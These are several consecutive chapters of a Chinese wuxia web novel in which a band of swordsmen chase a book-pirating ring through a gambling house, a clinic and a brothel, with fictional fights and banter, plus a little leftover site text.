房大全仍不放弃,他冲到那白牙浮现的地方,左一刀,右一刀,一阵乱砍。 然而,房大全急如骤风的刀法,却是刀刀见空,砍了数十刀,却连黑脸的影子都没见到。房大全登时乱了阵脚,他的刀越来越乱,不停地大吼“出来啊,你快滚出来!” 眼看着房大全像疯了一样胡乱地挥刀。我忍不住拔出了九郎剑。 “你要干什么?”小月一把拉住了我。 我说“我要去帮他。” 小月说“人都找不到,你去了也没用。” 我看着房大全近乎疯掉的模样,说“总不能不管他吧。” 李小谦接过话来,说“这还不容易。”他捡起一根枯木,裹上碎布,用火折子点燃。 “轰” 火光一亮,将周边照得通明。李小谦举着火把向四周一扫,火光所及之处,一览无余。 当火光照亮一颗粗柳树时,柳树垂下的柳丝下遮掩着的一团黑漆漆的东西。他蹲在树下,蜷缩着身子,看了李小谦用火把照亮了他,他冲我们嘿嘿一笑,露出一排亮白的牙齿。 “原来你在这里!”房大全挥刀过去,喊道,“小贼,看刀!” 黑脸白牙一抖身子,向后连翻几个跟斗,李小谦举着火把,以轻功跟随,那黑脸白牙顿时没有隐遁身形的可能,于是手向后腰一伸,抽出一把短刀。 那刀造型十分奇特,形状如同狼牙,一尺多长,刀刃从宽变窄,中间贯穿着一道深深的放血槽。 黑脸白牙玩着熟练腕花撩刀功夫,刀在手腕见连番打转,刀光一闪一闪,每一次都明晃晃的,十分刺眼。 房大全横刀向着黑脸白牙一挥,黑脸白牙也不闪躲,他挂起短刀,刀尖向下,用刀刃与护手相连的地方抵住房大全的龙神刀。“当”的一声想,黑脸白牙顺势用弯刀划过龙神刀地刀身,一直到房大全的手腕处。他再次腕花撩刀而起,向上一挥,房大全猛然后仰,刀剑几乎是贴着房大全的脸划了上去。 眼看着房大全落了下风,我心中一阵着急。心想,好歹穿了人家地裤子,不能见死不救。我拔出九郎剑,不顾小月 地阻拦,杀了进去。 我和房大全一刀一剑,一挥一斩,一前一后,一进一退,刀光剑影交错,那黑脸白牙显然是招架不住了,他几里挂啦地说着奇怪的话,提刀左右格档,却连连向后退。 最后,黑脸白牙退无可退,因为他的身后已是一颗参天巨树,直直插入夜幕之中。房大全抓住机会,翻身劈斩,这一斩势大力沉,黑脸白牙“哇伊”一声惨叫,他手上的短刀被打飞。接着,我用九郎剑抵住了那人的喉咙。 那一刻,我的心里充满了成就感。 想我一年之前,还是一个默默无名地江湖小卒,虽然手握神兵利器,奈何身无功夫,别说是什么武林高手,即便是一个山贼草寇,我都打不过。 如今,我却用手中地剑,打败了一个黑脸白牙地异域高手。 这样地事,怎能让我不跃然。 “你们三个打一个,不讲江湖规矩!”黑脸白牙很不服气,他滋着白牙对我们说。 我说“放屁,我们明明是两个人,怎么能说是三个打一个?” 黑脸白牙看了一眼李小谦,努了努他那厚厚地嘴唇,说“还有一个举火把的,他破了我的隐身术,他也算!” 李小谦“哎呀”叫了一声,冲上来对着黑脸白牙地肚子就是一脚。黑脸白牙惨叫一声,黑脸还是黑脸,白牙却已变成了红牙。因为,李小谦这一脚,以少林轻功助跑,那一脚踢来时已近乎神速。黑脸白牙一口鲜血喷了出来,由此满嘴腥红。 李小谦说“什么狗屁隐身术,别把你先天优势说得好像跟绝世神功一样。有种白天你给我隐一下试试!” 黑脸不说话了,他滋着红牙,表情十分痛苦。 房大全也用刀抵住了他的脖子,说“我问一句,你答一句,敢说一句假话,我立时便杀了你!明白吗?” 黑脸连连点头。 我却起了疑惑。我问“你怎么知道他说得是不是假话?” 房大全一怔,黑脸连连求饶,说“不要动刀,我说真话,不说假话。” 房大全问“是谁印了这些书?” 黑脸说“是趣笔阁!他们专门盗印他人书籍,分发给书商,以此来赚钱。” “他们?”李小谦问,“你不是趣笔阁的人吗?” 黑脸说“我不是。我是从天竺来这里,是为了取回婆叶金身功秘籍的。秘籍没找到,银子花光了,只能找些事情,挣点银两。” 婆叶金身功? 江湖上从未听说过有这样的武功。 我问“什么是婆叶金身功?” 黑脸白了我一眼,说“这是我们佛门的秘密,不能外 传!” 他竟然还是个和尚。我一把扯下他头上地黑巾。然而,我并没有看到一抹雪亮的光头,而是一层毛茸茸地卷发。 我说“你不是和尚,你有头发!” 黑脸说“在我们天竺,佛门弟子,不用剃光头!” 房大全喝道“我不管你是不是和尚,也不管你要取什么功夫,我只问你,趣笔阁在哪里?” 黑脸说“我不知道!” 房大全的刀紧紧贴在黑脸的脖子上,他冷冷地说“不说?!信不信我现在便杀了你?!” 黑脸说“你杀了我,我也不知道。因为,我是真的不知道,不是假的不知道。” 房大全说“那你这些书是哪里来的?” 黑脸说“东面有个铁牛山,山中间有个山洞,每月逢五逢十,傍晚,会有人把书册和银子一同放在那个山洞之中。我等到日落之后,便可以进去将书册拉走了。” 这么一来,这条线索便又断了。 趣笔阁成了茫茫大海中最为神秘地一处孤岛,从未去过那里的人想要找到那里,当真是十分艰难。 忽然,李小谦问了一句“你这活儿是哪里找的?” “什么活儿?”黑脸问。 李小谦说“就是你送书的这个活,谁让你干的?” 黑脸说“李家赌坊!” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百一十四章 赌坊 十里花街,百里赌廊。 吉安城中百业凋敝,唯独青楼、赌坊人来人往,宾客如云。 百里赌廊中最气派的一间赌坊,三层的青瓦楼阁里,人声不绝。正中金字牌匾上写着“李佳赌坊”的字样。 黑脸白牙将我们带到门前,说:“这里就是李家赌坊。我不进去了。” 房大全看了我一眼,只手握着刀柄,向里走去。 刚到门口,就有两个在门口把手的汉子截住了他的去路。两个汉子皆是身材魁梧,粗眉大眼,满脸横肉,一个方脸,一个长脸。 方脸汉子说:“知道这是什么地方吗?” 房大全说:“赌坊!” 长脸汉子说:“是赌坊不错,但我们这里可不是一般的赌坊。” 房大全说:“有什么不一般的?” 长脸汉子说:“我们这里是这吉安城里最大的赌坊,平日来耍钱的皆是这方圆百里最有钱的主顾。虽说如此,但我们向来不看人,只看钱。你有钱吗?” 房大全说:“有钱又如何?没钱又如何?” 方脸汉子说:“有钱便将黄白之物拿出来看看,想进我们这个门,至少也要有一百两的本钱,若你拿不出,还请自行离开,莫要等着爷们儿们动粗。” 房大全冷哼了一声,说:“我不是来赌钱的。我是来找你们东家的,快叫他出来见我!”他停顿了一下,还没等两个汉子反应,他便又补了一句:“莫要等我进去找他!”说完他还向小月瞥了一眼。 小月带着青面獠牙的面具,看不清表情。李小谦侧身贴在我耳边说:“兄弟,这货想泡你的妞。” 两个壮汉或许是从来没有见过有人到他们家赌坊闹事,看着房大全仿佛是看着一件极为稀罕的物件,除了诧异,还有惊喜。方脸撸起袖子,扯着嗓子,阴阳怪气地说:“吆喝,真是碰见不知深浅的小子了,竟然敢到李家赌坊寻事。我看你看我们哥俩儿许久不动筋骨,寂寞难受,是有心来给咱们解闷儿的吧!” 长脸哈哈大笑,他拳头捶这胸脯,叫道:“来!让哥哥陪你耍耍。”说完,他只手抓住房大全的左肩,就像是捏住一个磁器罐子一样,往上一提,竟把房大全生生提了起来。 我正为房大全捏着冷汗,房大全却面色不改,一脚踹在那长脸汉子的小腹,长脸脸色由红转白,哇的一声,喷出许多白水,当时便送来了房大全。 房大全脚刚落地,猛得侧转身子,对着那长脸的勒下又是一脚。长脸如同是窒息了一般,脸色又由白转青,跪倒在地上,嘴角沁出一些血丝。 方脸或许是见房大全出手厉害,就没敢上前。他一步 步地向后挪着身子,靠近李家赌坊的大门,往门里一闪,再站出来时手上端了一个七尺长的哨棍。 棍梢指着房大全,方脸往前试了两步,目光落在房大全腰间的佩刀上,随后又退了回去。退到门口,往屋里大喊:“快来人啊,有人闹事!” 房大全仿佛是没听到一样,只若无其事地看着那方脸,丝毫没有要上前打他的意思。 我喊道:“先下手为强。” 房大全回头冲我微微一笑,又看了一眼小月,喊道:“几个小卒而已,不在话下。” 小月把头一偏,哼了一声。李小谦啐道:“装逼!” 说话间,门里蹦出七八个手持梢棍的壮汉,眨眼睛将房大全团团围了起来。 房大全环视四周,冷笑一声,说道:“就你们几个?一起上吧!” 几个大汉面面相觑,脸上皆有茫然之色。不知道是谁大喊了一声:“布阵!” 忽然,天罗地网从天而将,房大全还未来得及做出丝毫反应,就已被扣在了其中。 随即,七八个壮汉手持梢棍冲上去对着鱼网中的房大全就是一顿乱打。 “装逼……”李小谦冷嘲道,“未遂!” 我眼看情况不妙,正准备拔剑相助。却见鱼网中白光一闪,数根梢棍被齐齐削断,鱼网也被斩成一片一片,如同天女散花一般,漫天飞舞。 房大全破阵而出时,已是鼻青脸肿,嘴角鼻孔皆挂着血丝,惨不忍睹。他提着龙神刀,哇哇地叫了两声,挥刀杀入人群。 刀为至,刀锋已斩杀数人。 活着的人满目骇然,顿时没了丝毫抵挡的勇气,连滚带爬,喊着饶命便四散跑开。 房大全或许是被那些人打得太狠了,怒气难平,连追两人十几米,一刀捅了一人后心,一刀斩了一人脖颈。再回头是,剩下的了了两三人已跑得没了踪影。 房大全四处张望,似乎仍然不觉得解气,一跺脚,提刀冲进了李家赌坊。 我说:“怎么办?” 李小谦说:“当时是进去看看了!” 小月微微点了点头。 我们三人随即冲入赌坊。进入赌坊之时,一楼的厅堂里摆着十几张赌桌,四周围满了各色的赌客,他们个个满脸恐慌地看着正中一道长桌上,一个鼻青脸肿的提刀汉子。 房大全提刀指着四周慌乱的赌客,喝道:“谁是这里的东家?快滚出来见我!” 我拔出九郎剑,说:“我去帮他。” 李小谦一把拦住我,说:“有他替龙虎帮出头就好了,我们只要在后面看着,只要他死不了,我们便不必出手。” 小月冷冷地说了一 句:“小人!” 李小谦不屑一顾地说:“我是小人。你是大人,你怎么不出手啊?” 小月拇指在剑格上一推,“铮”的一声,露出三寸剑刃。青面獠牙的面具下,可以看到她冰冷的眼睛。她说:“我现在就杀了你,省得你带坏了这个傻子!” 李小谦往我身后一藏,说:“不要以为你俩一夜夫妻,他就能偏心你而不管我死活!” 小月的眼睛突然睁大,似乎喷射出火焰,长剑嗖地一声出鞘,冲着李小谦骂道:“无耻混蛋!看我不撕烂你的臭嘴!” 李小谦躲在我身后,冲着小月摆了个鬼脸,说:“再这样,我就让我兄弟甩了你,你甭想做我的弟媳妇!” 我看到小月的脖子红了,一双眼睛也红了,她长剑如飞射弹射而出,向着李小谦露出的半个脑袋刺去。李小谦在我身后“呀”的一声。 我还未来得及反应,一道冰冷的剑刃就贴着我的脸擦了过去。忽然间,我身后被大力一推,一个踉跄扑倒在小月的怀里。 我抱着小月的腰,头埋进她柔软的胸里。虽然,这时的环境并不适宜联想,但我依旧觉得,这感觉与那日和小月在屋顶赏月时一模一样。 一样的温柔,一样的醉人。惹得我久久不愿松开。 小月一把推开我,随即我感觉一阵风刮过,“啪”的一声,我侧脸一热,竟挨了小月狠狠甩出的一记耳光。 “下流胚子!”小月骂道。 这时,两队大约三十几人,从堂后冲了出来。随后,一个圆头圆脑圆肚皮的中年,穿着一身金丝绸缎从两队人中央走了出来。 “何人敢在我李家赌坊闹事?”那中年看着房大全,问道。 房大全提刀指向那中年人,问:“你是谁?是这家赌坊的东家吗?” 中年人哈哈笑了两声,说:“我不是东家,我是这里的管事。不知这位英雄要怎么称呼?” 房大全说:“龙虎帮房大全,请叫你们东家出来一见。” 中年人道:“老夫名叫李同道,虽然不是东家,却也有许多事是可以做主的。房英雄有何贵干,大可以向我说,不必惊动我家主子。” 房大全迟疑了片刻,说:“我问你,趣笔阁在哪里,你可知道?” 李同道一怔,呵呵笑了两声,说:“趣笔阁?老夫从未听说过这个地方,不知房英雄为何要到我李家赌坊来问啊?” 房大全喝道:“趣笔阁盗版翻印的书册上,每本都印着你李家赌坊的字样,你还敢说你不知道?” “哈哈……”李同道笑了起来。 房大全怒问:“你笑什么?” 李同道说 :“房英雄说得实在可笑。别人印着我李家的字样,便是与我李家有关系。那是不是随便什么阿猫阿狗打上你们龙虎帮的旗号,便是你龙虎帮的亲戚了?” “你!”房大全瞪着眼睛,满脸憋得通红,却再也说不出一句话来。 “你说得对!”一道敞亮的嗓音吸引了所有人的目光,李小谦慵懒地爬上了赌桌,坐在房大全的脚边,看着李同道,说,“是不能以别人写什么就想当然地认为什么。” 房大全急道:“李兄,你……” 李小谦说:“老房,你别急。人家李大掌事说得很有道理,那些阿猫阿狗写上李家赌坊的字样,当然不能就以此证明趣笔阁与李家赌坊有什么联系。即便是有,李掌事也要极力否认才是,不然和那些阿猫阿狗做了亲戚,自己不也成了猫狗的同类吗?” 李小谦这话说完,难色难看的换成了李同道。他瞪着李小谦,一句话也不说。房大全脸上带笑,向李小谦连连拱手,说:“李兄说得有道理,哈哈,的确是如此的!” “住口!”李同道大叫了一声,他向后退了一步,说:“你们也不打听打听,李家赌坊是什么地方,竟然敢到这里撒野!撒吧,使劲地撒,今日便叫你们有来无回!” 李小谦见场面突变,慌忙跳下桌子,跑到我跟前。 李同道大声吼道:“陈大,王二,朱五!把他拿下!” “是!” 两队人中应声站出三人。三人各拿一柄大剑,足一蹬地,同时跃起,落在桌面上,咚的一声闷响,连我脚下的地面都觉得一阵微颤。但那三人脚下的桌子却只抖落了一层灰尘,却丝毫没有损伤。 我不禁暗暗吃惊,到底是这三人武功了得,还是这桌子过于结实了呢? 房大全给出了答案,他由衷地感慨了一句,好俊的轻功! (本章完) 第二卷 武林盟的开始与结局 第一百一十五章 乱战 三个手持大剑的汉子站在赌桌的桌案上与房大全对峙。手中的大剑,闪着冰冷的杀意。 房大全面色凝重,或许他已经看出来,正站在他对面的这三人与方才在门口手提哨棍的那群人完全不同。从三人的身形功法来看,这三人绝然不是泛泛之辈。 但房大全还是攥紧了龙神刀,龙神刀刀柄上盘旋的龙仿佛活了一般,整把刀瞬间都散发出兴奋的光芒。 一场大战一触即发,原本在赌坊里兴致勃勃地赌客一哄而散,即便是有几个胆子大、好奇心盛的人想留下来看个热闹,也早已经远远地躲到门边墙角,生怕这场即将燃起的战火殃及他们这些凑热的池鱼。 三人在赌桌上站定,二话没说,同时出剑,一齐向房大全刺出。房大全转身翻下赌桌,顺势踢飞两把椅子向那三人。 其中一个壮汉长剑一挥,两把椅子“咔啦”一声碎成一片。 “我来帮你!” 看着孤身应战的房大全,我不禁担忧,拔出九郎剑,我喊了一声,便冲了上去。 与房大全并肩,他冲我微微点头,目光中充满感激。三柄大剑如同是并驾齐驱的三辆马车,排成一排,向我们刺来。房大全撩刀挡下,引两个人到东侧比划,将两位一个满脸虬髯的汉子留给了我。 那满脸虬髯的汉子先是冲我一笑,露出满口令人作呕的黄牙,让我忍不住要问他:“你的牙怎么了?” 满脸虬髯的汉子一愣,笑容戛然而止,一皱眉,一柄大剑向我砍来。 仗着锋利的九郎剑,我侧身与他对拼。“当啷”一声,一柄大剑被九郎剑砍出一道寸余的豁口。那汉子看了一眼手中的剑,眼角一阵抽搐,一把将剑仍在地上,骂道:“奶奶个熊,好一把厉害的剑!” 忽然,他身子一晃,人影在我面前若隐若现,离我越来越近。我尚未看清楚怎么回事,只觉得一直大手已经攥住了我的手腕。 他的轻功果然厉害,身形快得竟然可以逃过我的眼睛。 那汉子就站在我脸前,距离我不过半臂之远,他一只手抓着我的手腕,另一只手竟然伸过来夺我手中的九郎剑。 人在江湖,可以丢人,却不可以丢剑。 我想挣开他的手,奈何他力气比我大出许多,任凭我如何用力,也无法挣脱。无奈之下,我只得把全部的力气用在握着九郎剑的手上,死死地抓着九郎剑,绝不放手。 突然,那汉子冲我一咧嘴,露出满口黄牙,随之而来的,还有一股令人无法忍受的焦酸臭味。我只感觉胃里酸液上胸,似有异物顶住了咽喉。 “哇”的一声,我吐了。 再回过头, 九郎剑已经到了那汉子的手中。 他呲着满口黄牙,嘿嘿笑着,冲着九郎剑赞不绝口:“好剑,果然是一把好剑!” 我仿佛听到九郎剑向我发出的求救声。我大喊:“拔剑还给我!” 那汉子张着嘴巴,满口黄牙散发的臭味似乎已经充斥了整个厅堂。他冲我招了招手,说:“过来抢啊!” 冲上去,我手中已经没了剑。 不冲上去,我的剑可能会永远在我手中失去。 正在我一筹莫展,犹豫不决之时。一道白影从我身边略过,在我身边兜起一阵风。只听小月说了一句:“看好了,剑是要这么用的!” 那白影中剑光一闪,那汉子脸色陡然巨变,起身向后一跃,同时挥动九郎剑格挡。 白影围绕着那汉子左右穿梭,如鬼魅一般。 这一招,我曾见过两次。第一次是在陆石杀死圆信之时,第二次是在淮水之畔,小月对战陈伯洋之时。 这两次,一胜一负,结果迥异。然而,这一次的结果会是怎样呢? 小月化成一道白影,围着那汉子来回穿梭,那汉子挥舞着九郎剑来格挡小月的剑。小月似乎是对九郎剑的锋利有所忌讳,始终不敢真正与它对拼。只是剑锋不断略过那汉子的身旁,一阵虚晃,以使他乱了方寸。 那汉子紧要牙关,不停地挥动着九郎剑,却没有一剑可以抵挡小月的作弄。 又似一场猫捉老鼠的游戏,只是最后那一剑,足够精彩,却也足够残忍。 一剑封喉,不见血光。 小月始终没有摘下青面獠牙的面具。不知为何,我从她身影中看到了一种冰冷的杀意。仿佛这一刻站在我身前的不是那个温柔美丽的小月,而是那日在江湖客栈中初见时的那个丑陋女剑客。 满口黄牙倒下了。 即便是在他倒下去的最后一刻,他仍旧没有想明白自己为何会死?因为他的眼神中除了惊恐,还有一种深深的疑惑。 小月从他手中拿回我的剑。弯下腰的那一刻,她喊了一句:“真臭!” 然后,小月把九郎剑送到我手上,又说了一句:“不管发生什么,都不要丢了手中的剑!” 我点了点头,向东看时,房大全已经将两人斩于刀下。只是他以一敌二,身上多处已经挂了剑伤,尤其是他左肩的那一道,深得已经露出一丝白骨,鲜血直流,侵染了一大片衣袖。 我慌忙上前询问:“房大哥,你没事吧?” 房大全的目光绕过我,看了一眼我身后的小月,再将目光拉回到我身上,笑了笑,说:“一点小伤,没事。” 真是一条铁骨铮铮的硬汉。 我正这样想着,李小谦走了过来,看着房大全的伤,啧啧两声,说:“兄弟,装逼不要紧,但不能死撑,死撑也可以,千万别撑死!” 房大全刚想说什么,忽然,我看见两队人中央,原本站着的李同道人影一闪,向后堂跑了。我大喊一声:“站住,别跑!” 房大全扭头一看,瞪着眼睛,提起血淋淋的刀,大喊一声:“哪里跑!”踏着流星大步,便追了过去。 他步子踏过的地方,留下一路血点。显然是肩头的鲜血已经顺着手臂滴了下来。想到以一人喝退数千武林豪杰的周望安,我不禁感慨:“龙虎帮的人都这么猛吗?” 我们三人顺着房大全留下的血迹一路追到后院时,后院的假山前,房大全正提刀架着李同道的脖子,两边整齐地站着两队如石像一般的壮汉,没有一人敢上前阻拦。 房大全怒问:“快说!趣笔阁到底在哪?!” 李同道颤巍巍地说:“我,我真的不知道啊!” 房大全威胁道:“再不说,我便一刀一刀地剐了你!” 李同道的嘴唇发抖,看着左右两队如石像一般的人,面如死灰,说道:“我,我是真的不知道。趣笔阁的生意,都是我们家主子联系的。” 房大全问:“你们家主子是谁?现在何处?” 李同道面露难色,迟迟不肯张口。房大全将龙神刀往他脖子上一顶,一股殷红的鲜血顺着刀锋缓缓流下。李同道身子一软,慌忙求饶:“大侠饶命,我们家主子是叫李名山,是,是秦宰相家的表亲。” 又是秦桧家的人,难怪行事会如此嚣张。 房大全又问:“他人在哪里?” 李同道说:“今日红袖阁头牌墨香姑娘赎身竞标,估,估计他现在应该在红袖阁吧。” 房大全这才收了龙神刀,一甩头发,敞着肩头的伤口,潇洒地向我们走来,说:“走吧!” 我问:“去哪里?” 房大全说:“红袖阁!” 我问:“你要去妓院?” 房大全忽然一怔,他看了一眼小月,慌忙说:“不是,不是。只是......要追查趣笔阁的下落,必须要去那里。”他犹豫了片刻,又说:“小月姑娘冰清玉洁,当然不便去那种地方。不知两位兄弟可愿意陪我一同前去?” 我看了一眼房大全的伤口,说:“你要不要先找个大夫?” 房大全看了看肩膀,他的嘴唇已经有些泛白,额头上布满了细密的汗珠。但他仍旧灿然一笑,说:“一点小伤,不碍事。”说罢,他提着刀走了出去。 我看着小月,她的脸掩在青面獠牙的面具之下,我 看不到她的表情。她只是看着其他的方向,丝毫不多看我一眼。我说:“我要去一趟妓院。” 小月冷哼,说:“下流!” 我问:“你要不要和我们一起去?” 小月猛地回头,瞪了我一眼,说:“去就去!”说完,小月也走了出去。 不知道为什么。小月这次回来,对我冷淡了许多。不知道她是不是还在怪我,那夜发生的事,始终在我心里,却不敢向小月提出一个有关那夜的字。 这个槛要怎么才能迈过去呢? 我正思考着,李小谦一直胳膊搭在我肩上,叹了口气,说:“问世间情为何物?” 是啊,问世间情为何物啊?! 李小谦说:“兄弟,别怪我没提醒你。别跟那个房大全走那么近,你们看出来吗,他一心想要泡小月呢!” 我说:“小月又不是茶。” “你!”李小谦气呼呼地指着我,忽然又叹了口气,说:“总之,记住我的话,留心留神留一手,防火防盗房大全!” (本章完) if((''baiduboxapp>-1){('' 第二卷 武林盟的开始与结局 第一百一十六章 红袖 1 春花满楼红袖阁,风月俏佳人。 红袖阁的招牌,就像红袖阁里姑娘们的脸蛋一样艳丽,无形中就已让过路的许多男人情不自禁地停下了脚步。 更何况,是这样的艳阳高照,这样的五彩缤纷的日子。红袖阁里头牌姑娘墨香要找一个可托付终身的人为她赎身。 莫说是吉安城,即便是在整个江西,红袖阁墨香姑娘的美色也不知是让多少风流韵客垂涎三尺。如今,墨香姑娘要找人赎身,肯出钱的达官贵人自然是不少。即便是那些家境一般的,也忍不住来红袖阁凑个热闹。明知道自己绝无财力与那些达官显贵竞争,但能一睹墨香姑娘的芳容,也是以此慰藉一下躁动的内心。 红袖阁外已是人山人海,从门口一直到巷子中央,都挤满了前来一睹墨香芳容的男人。他们都踮着脚,极力地向红袖阁中张望,嘴里还不挺地念叨着“墨香姑娘,墨香姑娘。” 小月气愤地骂了一句“男人都是无耻。” 李小谦说“非也,非也,窈窕淑女君子好逑。” 小月哼了一声,说“什么淑女,不过是青楼里下贱的妓女罢了。” 李小谦说“同样是女人,你怎么如此刻薄呢?” 小月一瞪眼,挥起拳头吼道“你说谁刻薄。” 打闹间,忽然,我觉得身边的房大全身子向下一沉,竟“轰”地一声倒在了地上。 我慌忙扶住房大全,他双目紧闭,满脸苍白,就连嘴唇上也没有丝毫血色。 我说“他怎么了?” 李小谦说“我早就说了,不要死撑,会撑死的!” 他死了? 我伸手去摸他的鼻息,虽然微弱,却仍能清晰地感到一股湿热的气流从鼻孔里缓缓冒出。我说“他还活着呢!” 小月蹲下身子,托起房大全的手腕,一掐脉门,说道“失血过多之症,快去找个郎中。” 李小谦顺手从人群后面拽过一个人,问“哪有医馆?” 那人不耐烦地往不远处一指,只见一排青楼中,一个名叫济春堂的黑色牌匾映入了我们的眼帘。牌匾两侧挂着一幅对联。上联写着“百花丛中悬壶济世”,下联写着“花街柳巷妙手迎春”,再一看横批,竟然写着“只看妇科!” “我靠!”李小谦叫道,“这是花柳巷社区诊所吗?服务群体这么固定!” 小月说“顾不得那么多了,先进去再说。” 2 我抱着房大全走进济春堂时,一个冬瓜脸,粗眉毛的中年男子正在柜台上摆弄着一些叫不上名字的药材。他见我们进门,先是一愣,随后绕过柜 台,径直向小月走去,笑道“姑娘,你哪里不适?” 小月慌忙向后闪了一步,说“不是我,是他!”她指着房大全。 冬瓜脸瞥了一眼房大全,说“你进门的时候没看门口的对子吗?我李济春只给女人看病!” 我说“都是人,男人女人有何不同?” 李济春像看怪物似的看着我,那眼神似乎是想要把我剖开仔细研究一番似的,他说“我没听错吧?男人和女人有何不同?你长这么大都不知道吗?” 李小谦咳嗽了两声,小声对我说“术业有专攻,你不能难为人家。” 我说“难道就见死不救吗?” 李济春一仰头,说道“爱莫能助!” 小月想要拔剑,却被李小谦一把按住。他说“别懂不懂就打打杀杀,我来!” 李小谦笑着对李济春说“神医啊,虽说您是专攻妇科,但人的某些症状是想通的,要不然,劳您瞧一眼,看看这人怎么样了?” 李济春看了一眼房大全,说“一看便知失血过多,暂且只是昏迷,不会危及性命,若时间长了,只怕不好说了。” 李小谦嘿嘿一笑,说“敢问神医,一般女子若是失血过多,您都怎么样开药啊?” 李济春狐疑地看着李小谦,说“女人失血过多那得看因何而起啊!” 李小谦一挑眉毛,一脸坏笑,说“你懂的。” 李济春一愣,随机呵呵一笑,说道“我去给你抓药!”说罢,他绕到柜台内,一边抓药,一边问“这人是怎么伤的?” 我说“在李家赌坊打架受伤的?” 李济春肩头一颤,一脸不敢置信的表情,他说“你们在李家赌坊打架?” 我点头,说“不错。” 李济春问“与何人打架?” 我说“李家赌坊里的人。” 李济春停止了抓药,将我们三人仔仔细细打量了一番,随机淡淡一笑,说道“你们几个人胆量果然是不一般,连李家赌坊的人都敢打,不知是为了何事?” 我刚想开口,李小谦却拦住了我。他笑着说“先生,我们只是在那里赌钱,不小心与他人发生了冲突。你还是快些抓药吧,这人不能再等了。” 李济春不屑地笑了笑,说“你们能从李家赌坊再追到花街来,我料想是冲着红袖阁而来吧。若是如此,只怕你们在李家赌坊想查的事并没有结果。” 我心里一惊,问道“你知道我们在查什么?” 李小谦想要拦我,一只手伸了一半却又停了下来,任凭我向李济春发问“你知道趣笔阁在哪里 吗?” 李济春哈哈大笑,说“果然不错,你们也是来查这件事的。” 也? 我问“还有谁来查过?” 李济春说“南华派的人。” 原来,南华派的人早就已经查过趣笔阁的事了。那他们为什么没有铲除趣笔阁,而任由其发展呢?我不明白! 李小谦笑了笑,问“先生真的知道趣笔阁的事?” 李济春说“我在这花街柳巷之中呆了十几年,没有什么事可以逃得过我的眼睛。” 李小谦瞳孔微缩,眯着眼睛看着李济春,问“可是,我想不明白,这样的事你为什么要告诉我们?” 李济春从怀里掏出一本书册,封面写着“济春堂集”四个字。他一只手抚摸着,满脸的惋惜与痛恨。他说“因为,我们有着相同的目的。” 我问“这是你写的医书?” 李济春摇着头,说“这是我为那些女子看病时所写下的笔记,上面记录很多与她们相关的风尘往事。本来想自己留着,闲来无趣时看看,以此来消磨时光,没想到却被趣笔阁盗印得满大街都是。他不仅毁了我的名声,更将那些女子的隐私公之于众,是可忍孰不可忍!” 李小谦说了一声“变态。” 小月骂了一句“下流。” 我说“趣笔阁在哪里?” 李济春指着红袖阁,说“要想知道趣笔阁的下落,你们必须到红袖阁中找一名叫苏红袖的姑娘。” “苏红袖?”我问,“她是什么人?” 李济春说“苏红袖是红袖阁明义上的老板。其实,红袖阁真正的东家另有其人。” 我问“是什么人?” 李济春说“这件事……与趣笔阁无关。你们只要记住,找到苏红袖就一定能找到趣笔阁的下落。” 李小谦啐了一口,骂道“你大爷的,这不是白说吗?李家赌坊的人让我们找李名山,你却让我们去找什么苏红袖,同样是找人,我们干什么要听你的?” 李济春说“因为苏红袖是个女人,而李名山却是个男人,你们想让一个男人张口,只有打败他,而你们要想让一个女人开口,却只需要征服她。” 李小谦说“打败一个男人很容易,征服一个女人很难。” 李济春说“那是你们没有给出足够的诱惑,像苏红袖这样的女人,你只需要给她钱,足够多的钱,就一定能征服她。” 我问“苏红袖在哪里?” 李济春双眼迷离看向红袖阁的方向,说“在亭台楼阁之内,在群花环绕之间。” 3 我们将房大全留在李 济春处医治,把李小谦留在济春堂。我和小月悄悄潜入了红袖阁中。 红袖阁的三楼,相处一楼厅堂里的喧嚣,似乎是安静了许多。但依旧可以听到楼下男人们豪爽地喊价。 “一万两!” “一万零一百两!” …… 他们正在像饿狼争抢食物一般争抢着墨香姑娘,只不过,饿狼用得是利爪,而他们用得是腰包里白花花的银子。 “苏红袖在哪里啊?”我小声问小月。 小月一扭头,一副青面獠牙的脸正冷冰冰地盯着我,让我不禁打了一个趔趄。 小月指了指一个房间,说“去那边看看。”说罢,小月轻手轻脚地向那个房间走去。 走到屋门之前,只听见屋里“当当”两声,似乎是有人在屋里敲打着什么。不管是在敲打什么,总之屋里有人已是事实。 我正欲在窗纸上捅个窟窿一探其中的究竟,却听见“咣啷”一声响,门被小月一脚踹开。 我正惊讶之间,小月一晃,冲到屋里那人影身边,一只冷冷的剑已顷刻间抵住了那人的脖颈。 “不许动!”小月冷冷地威胁,“敢动一下,我要了你的命。” 然而,那人看起来并不惊慌。可以说,连一丝一毫的慌乱都没有。她笑盈盈地看着小月,说“姑娘,你有什么吩咐尽管说便是,何必要动这刀剑伤了和气呢?” 小月冷冷地说“少废话!苏红袖在哪里?” 那人一愣,随即一笑,冲着小月眨了眨她那如泉眼一般澄澈的眼睛,说“我就是……” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百一十七章 计谋 1. 眼前自称是苏红袖的美妇人面对小月的剑,却看不见她脸上有一丝一毫的慌乱。她就像是旷野里见惯了风雨的野花,任凭是什么的威胁,都不能撼动她那颗平淡的心。 她笑着,看着青面獠牙的小月。 她说:“妹妹找我有何贵干?” 小月没有说话。她的美眸凝视着苏红袖妖媚的双目。似乎是连小月都有些嫉妒了,不知是嫉妒她的美貌,还是嫉妒她那处变不惊的淡定。 我问:“趣笔阁在哪里?” 苏红袖说:“你们找趣笔阁做什么?”说话时,她仍旧是笑着,似乎是有什么开心的事,让她即便是面临危险也忍俊不禁。又或许是,她天生就是一张笑脸,一双妩媚的眼睛,笑得如美丽的月牙。 她的笑,不带丝毫恶意,让我感觉自己此刻如是恶贯满盈的悍匪,浑身上下都透露着见不得人的肮脏,我不忍心再去逼问她任何话。 小月一瞪眼,怒道:“一见到女人你就想不开嘴!” 苏红袖媚声说道:“别这么说,妹子。是他比你更懂得怜香惜玉。”她的手若无其事地绕开架在她脖子上的剑,捂着嘴咯咯地笑着,说:“男人嘛,都是这个样子。” 小月冰冷的目光如刺,划过我的脸,我一颗心咯噔一下。她的目光又瞬息如火,转向苏红袖,似乎要将这个妖媚的女子焚烧成焦灰一样,她说:“趣笔阁到底在哪?不说,我杀了你!” 苏红袖说:“你杀了我也没用。因为,我并不知道趣笔阁在什么地方。” 小月冷冷地说:“不可能!你当真以为我不敢杀你吗?” 苏红袖幽怨地叹了口气,说:“剑在你的手里,我的脖子就在你的剑下,你随意好了。” 